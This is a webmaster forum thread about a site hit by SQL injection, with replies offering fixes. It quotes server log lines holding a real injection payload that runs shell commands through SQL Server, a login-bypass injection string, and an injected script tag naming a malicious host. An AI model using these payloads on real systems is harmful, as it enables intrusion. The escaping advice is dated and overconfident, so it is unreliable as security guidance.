Webmaster Forums - Webmaster forum for HTML, PHP, ASP, CSS and more

Go Back   Webmaster Forums - Webmaster forum for HTML, PHP, ASP, CSS and more > Windows Operating System > Windows Web/Security
User Name
Password

Reply
 
LinkBack Thread Tools Display Modes
Old 12-16-2006, 09:19 AM   #21 (permalink)
fred
Junior Member
 
Join Date: Nov 2006
Posts: 3
Default Re: Page being hijacked!

Here are the solutions:

To immediately and temporarily stop the problem block the following IP address using reliable router. I used “Cisco 506e”

If you using an ISP, you may be able to persuade them by explaining them your problem.

The IP addresses are:
58.37.0.0 - 58.37.255.255
These IP’s belong to Shanghai Telecom.

Please make sure by examining your Log files. I had the following script in my log files. Specially look for the external IP address and block those IP’s.


2006-11-12 01:51:06 W3SVC1 WEBSTERS-OLD 192.168.1.110 GET /sicresults.asp siccode=2655';CREATE%20TABLE%20[X_4223](ResultTxt%20nvarchar(1024)%20NULL);use%20master%2 0declare%20@o%20int%20exec%20sp_oacreate%20'wscrip t.shell',@o%20out%20exec%20sp_oamethod%20@o,'run', NULL,'cmd%20/c%20dir%20C:\Inetpub\wwwroot\Javascripts\search.js %20>%204223.tmp',0,true;DROP%20PROCEDURE%20sp_OACr eate--|93|80040e57|[Microsoft][

2006-11-12 01:51:06 W3SVC1 WEBSTERS-OLD 192.168.1.110 GET /sicresults.asp siccode=2655';CREATE%20TABLE%20[X_4223](ResultTxt%20nvarchar(1024)%20NULL);use%20master%2 0declare%20@o%20int%20exec%20sp_oacreate%20'wscrip t.shell',@o%20out%20exec%20sp_oamethod%20@o,'run', NULL,'cmd%20/c%20dir%20C:\Inetpub\wwwroot\Javascripts\search.js %20>%204223.tmp',0,true;DROP%20PROCEDURE%20sp_OACr eate--|93|80040e57|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]String_or_binary_data_would_be_truncated. 80 - 58.37.160.184 HTTP/1.1


This person uses port 80 to attack your website and obviously you cannot block this port. He sends a backdoor Trojan virus and uses your weakness in ASP Script to obtain entry to your SQL server and execute a script . In my case the script was as above copied and pasted from our logfiles.

Permanent solution:

1. Make a new server without ever exposing to Internet provided you are using your own server. I used jump/flash drives to download patches, scripts and database (2GB). Run a virus scan on all computers involved and kill the backdoor agent. I used AVG spy ware, as this program was effective in killing the virus. Make sure to delete all .tmp files before you copy to your new server. Make sure you follow the step #3 . That alone will solve the problem.
2. As soon as you installed the operating system please install antivirus preferably from AVG and a software firewall. The most effective firewall program is BLACKICE as this program disallows / blocks any script more than 200 characters. You can find this program from BLACKICE PC Protection Firewall Software


3. You should be able to solve this problem even if you use an ISP as below:

SQL Injection
The script uses vulnerability in your own program. This means you have to secure all vulnerabilities and ASP scripts.

SQL Injection is what has happened above. What to do is to look in your scripts for these vulnerabilities. These are not limited to ASP files, they are readily available in PHP, and almost any Server Side script, and any server.

Here’s an example. Lets say this is your SQL Query:

“SELECT * FROM table_name WHERE username=’”.$user.”’ AND pass=’”.$pass.”’

That looks all and good, but the problem is, let’s say the user enters in with this information:
$user = “username”;
$pass = "' OR ''='";
This will allow the user to log on with any password. If you were smart, you could check for the number of rows returned, and make sure there is only 1 row returned. However, this is simply a workaround. In PHP, you would use the function mysql_real_escape_string(). This escapes all single quotes. So $pass would look like this:

$pass= “\’ OR \’\’=\’”

And their SQL Injection attack would be stopped. However, there are other ways. Such as this:
“SELECT * FROM table_name WHERE username=’”.$user.”’ AND id=”.$id.”;”

This way the attacker could enter in something like this:
$id = ‘1; CREATE TABLE whatever ( .. );’

This wouldn’t work in mySQL, because it only supports one statement per db query. However, it can be done with ASP and other db systems, like SQL Server.

This function is the best resolution:

function quote_smart($value)
{
// Stripslashes
if (get_magic_quotes_gpc()) {
$value = stripslashes($value);
}
// Quote if not a number or a numeric string
if (!is_numeric($value)) {
$value = "'" . mysql_real_escape_string($value) . "'";
}
return $value;
}

This way, you’d enter it in like this:

“SELECT * FROM users WHERE username = “.quote_smart($username).” AND pass = “.quote_smart($pass).”;”

This way, the quote_smart function allows for smart quoting, which removes the need for you to manually quote your own variables with single quotes. It determines whether the variable is a number or not, and escapes and quotes is specifically. This will not work for the multiple SQL statements injection, so you can add an else section:

else {
$value = mysql_real_escape_string($value);
}

This is the cause of the problem, and if you do not understand this, ask whoever coded your website. If you use ASP, here’s a good article on SQL injection:

ASP: 4GuysFromRolla.com - Protecting Yourself from SQL Injection Attacks
PHP mysql_real_escape_string: PHP: mysql_real_escape_string - Manual

Those should help you stop this attack. You will need to change all of your scripts in question.

This will definitely solve this problem.

Please leave a thank you note for me!
fred is offline   Reply With Quote
Sponsored Links
Old 02-16-2007, 06:27 PM   #22 (permalink)
visio
Junior Member
 
Join Date: Aug 2006
Posts: 33
Default Re: Page being hijacked!

I take everything back about Fred.

Thanks Fred, that is very nice, I've just read your last post and I'm impressed.

I tried to giveyou some points, but apparently I cant.



Thanks again.

Paul
visio is offline   Reply With Quote
Old 04-23-2007, 03:36 PM   #23 (permalink)
rely
Junior Member
 
Join Date: Apr 2007
Posts: 1
Default Re: Page being hijacked!

Hi Everyone,

I had this same problem and fredthetiger@hotmail.com sent me a bunch of great information off the post. If you are still having problems try emailing him and see if that helps you.

Thanks,
Rachel
rely is offline   Reply With Quote
Old 09-29-2007, 07:33 PM   #24 (permalink)
stealthiss
Junior Member
 
Join Date: Sep 2007
Posts: 24
Default Re: Page being hijacked!

One of our customers had the same but that happened to be a worm on the local machine. He was using shared hosting. He had to change the hosting company because it appears to be a new worm that keeps reactivating itself every so often and noone knows in advance how the next attack will look like.
__________________
Hosting for $0.99 - www.stealth-iss.org
Cheapest servers - www.DedicatedServerStore.com
stealthiss is offline   Reply With Quote
Old 11-04-2007, 01:27 PM   #25 (permalink)
mostlysunny
Junior Member
 
Join Date: Nov 2007
Posts: 1
Default Re: Page being hijacked!

reviving this very interesting thread, first of all thanks for the wealth of info available, gives some comfort after a vicious attack!

Looking at the SQL table list and then analyzing the IIs logs, I noticed some Chineses dudes added the infamous D99_tmp on 20071102 and then the next day some fields in my database were filled by <script src="hXXtp://yl18.net/0.js"></script> (http removed) - problem is I can't find any trace of that script in the IIs logs so I'm confused as to how it got there, any thoughts ?
mostlysunny is offline   Reply With Quote
Old 02-06-2008, 03:54 PM   #26 (permalink)
casty23
Junior Member
 
Join Date: Feb 2008
Posts: 2
Default Re: Page being hijacked!

Quote:
Originally Posted by O~Snapple
I bet you have I Power Web, I had the same problem with them and i recently switched hosting companies, The worst is when i called to tell them they said well it sounds like someone hacked your page. I said you freaking Idiot they hacked your server!

~Snapple

LOL. now I know why their hosting is so cheap.
casty23 is offline   Reply With Quote
Old 01-09-2009, 09:08 AM   #27 (permalink)
jv17
Member
 
Join Date: Nov 2008
Posts: 292
Default Re: Page being hijacked!

that's weird though
__________________
SEO
jv17 is offline   Reply With Quote
Old 01-28-2009, 01:24 PM   #28 (permalink)
Shaman
Member
 
Shaman's Avatar
 
Join Date: Jan 2009
Posts: 261
Default Re: Page being hijacked!

install Norton or Nod 32 at you machine
Shaman is offline   Reply With Quote
Reply


Thread Tools
Display Modes

Posting Rules

Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are On

Points Per Thread View:
Points Per Thread:
Points Per Reply:



» Sponsors

» Links

» Affiliates
Web Hosting
Online Backup Reviews
Marketing Find
Merchant Select
SiteMap Builder
Host Compare
Dedicated Servers

» Links

» Sports Network
Paintball Forum
Football Forum
Hockey Forum
Golf Forum
Boxing Forum
Lacrosse Forum
Baseball Forum
SnowBoarding Forum
Soccer Forum
MMA Forum


All times are GMT -4. The time now is 06:11 PM.


Powered by vBulletin® Version 3.8.1
Copyright ©2000 - 2009, Jelsoft Enterprises Ltd.
LinkBacks Enabled by vBSEO 3.0.0 RC8
Webmaster Forums